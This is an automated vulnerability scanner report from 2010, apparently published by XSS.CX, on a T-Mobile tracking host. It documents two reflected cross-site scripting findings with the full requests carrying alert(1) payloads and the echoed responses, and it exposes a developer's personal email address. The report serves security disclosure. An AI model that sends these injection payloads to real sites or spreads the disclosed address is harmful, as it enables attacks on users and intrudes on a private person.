Report generated by XSS.CX at Tue Nov 16 15:52:04 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. http://cache.tracking.t-mobilenavigation.com/utils/combinefiles.ashx [files parameter]

1.2. http://cache.tracking.t-mobilenavigation.com/utils/combinefiles.ashx [files parameter]

2. Email addresses disclosed

3. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://cache.tracking.t-mobilenavigation.com/utils/combinefiles.ashx [files parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://cache.tracking.t-mobilenavigation.com
Path:   /utils/combinefiles.ashx

Issue detail

The value of the files request parameter is copied into a JavaScript inline comment. The payload ab39a*/alert(1)//78c869ad964 was submitted in the files parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /utils/combinefiles.ashx?files=/scripts/tracking_gsm/tracking_core.js,/scripts/webtrends/sdc_advanced.js,/scripts/tracking_gsm/tracking_init.jsab39a*/alert(1)//78c869ad964 HTTP/1.1
Accept: */*
Referer: http://mytouch.t-mobile.com/products/mytouch-4g-lp?WT.mc_id=829m3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: cache.tracking.t-mobilenavigation.com

Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=60
Content-Type: text/plain; charset=utf-8
Date: Tue, 16 Nov 2010 21:17:02 GMT
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Content-Length: 27780

/* /scripts/tracking_gsm/tracking_core.js,/scripts/webtrends/sdc_advanced.js,/scripts/tracking_gsm/tracking_init.jsab39a*/alert(1)//78c869ad964*/
/*------ /scripts/tracking_gsm/tracking_core.js start --------------*/
//T-Mobile Tracking
//version 2008-02-20 - update DCSref from trackEvent

//Andrew Greenstreet 2008.9.22 andrewgstreet@gmail.c
...[SNIP]...

1.2. http://cache.tracking.t-mobilenavigation.com/utils/combinefiles.ashx [files parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://cache.tracking.t-mobilenavigation.com
Path:   /utils/combinefiles.ashx

Issue detail

The value of the files request parameter is copied into the HTML document as plain text between tags. The payload a0d46<script>alert(1)</script>fee3039bd81 was submitted in the files parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /utils/combinefiles.ashx?files=a0d46<script>alert(1)</script>fee3039bd81 HTTP/1.1
Accept: */*
Referer: http://mytouch.t-mobile.com/products/mytouch-4g-lp?WT.mc_id=829m3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: cache.tracking.t-mobilenavigation.com

Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=60
Content-Type: text/html; charset=utf-8
Date: Tue, 16 Nov 2010 21:17:00 GMT
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Content-Length: 47

/* a0d46<script>alert(1)</script>fee3039bd81*/

2. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://cache.tracking.t-mobilenavigation.com
Path:   /utils/combinefiles.ashx

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /utils/combinefiles.ashx?files=/scripts/tracking_gsm/tracking_core.js,/scripts/webtrends/sdc_advanced.js,/scripts/tracking_gsm/tracking_init.js HTTP/1.1
Accept: */*
Referer: http://mytouch.t-mobile.com/products/mytouch-4g-lp?WT.mc_id=829m3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
If-Modified-Since: Tue, 16 Nov 2010 20:54:46 GMT
Proxy-Connection: Keep-Alive
Host: cache.tracking.t-mobilenavigation.com

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: public, max-age=60
Content-Type: text/plain; charset=utf-8
Date: Tue, 16 Nov 2010 21:16:47 GMT
Last-Modified: Tue, 16 Nov 2010 21:15:53 GMT
Server: ECS (dfw/566F)
X-AspNet-Version: 2.0.50727
X-Cache: HIT
X-Powered-By: ASP.NET
Content-Length: 29438

/* /scripts/tracking_gsm/tracking_core.js,/scripts/webtrends/sdc_advanced.js,/scripts/tracking_gsm/tracking_init.js*/
/*------ /scripts/tracking_gsm/tracking_core.js start --------------*/
//T-Mobile Tracking
//version 2008-02-20 - update DCSref from trackEvent

//Andrew Greenstreet 2008.9.22 andrewgstreet@gmail.com
//Please do not change any of the code on this page
//For configuration, please create a configuration file and add reference to it in the tracking_include.html
//Add a "map_thenameofyourpage.js" file
...[SNIP]...

3. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://cache.tracking.t-mobilenavigation.com
Path:   /utils/combinefiles.ashx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain script.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /utils/combinefiles.ashx?files=/scripts/tracking_gsm/tracking_core.js,/scripts/webtrends/sdc_advanced.js,/scripts/tracking_gsm/tracking_init.js HTTP/1.1
Accept: */*
Referer: http://mytouch.t-mobile.com/products/mytouch-4g-lp?WT.mc_id=829m3
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
If-Modified-Since: Tue, 16 Nov 2010 20:54:46 GMT
Proxy-Connection: Keep-Alive
Host: cache.tracking.t-mobilenavigation.com

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: public, max-age=60
Content-Type: text/plain; charset=utf-8
Date: Tue, 16 Nov 2010 21:16:47 GMT
Last-Modified: Tue, 16 Nov 2010 21:15:53 GMT
Server: ECS (dfw/566F)
X-AspNet-Version: 2.0.50727
X-Cache: HIT
X-Powered-By: ASP.NET
Content-Length: 29438

/* /scripts/tracking_gsm/tracking_core.js,/scripts/webtrends/sdc_advanced.js,/scripts/tracking_gsm/tracking_init.js*/
/*------ /scripts/tracking_gsm/tracking_core.js start --------------*/
//T-Mobile
...[SNIP]...

Report generated by XSS.CX at Tue Nov 16 15:52:04 CST 2010.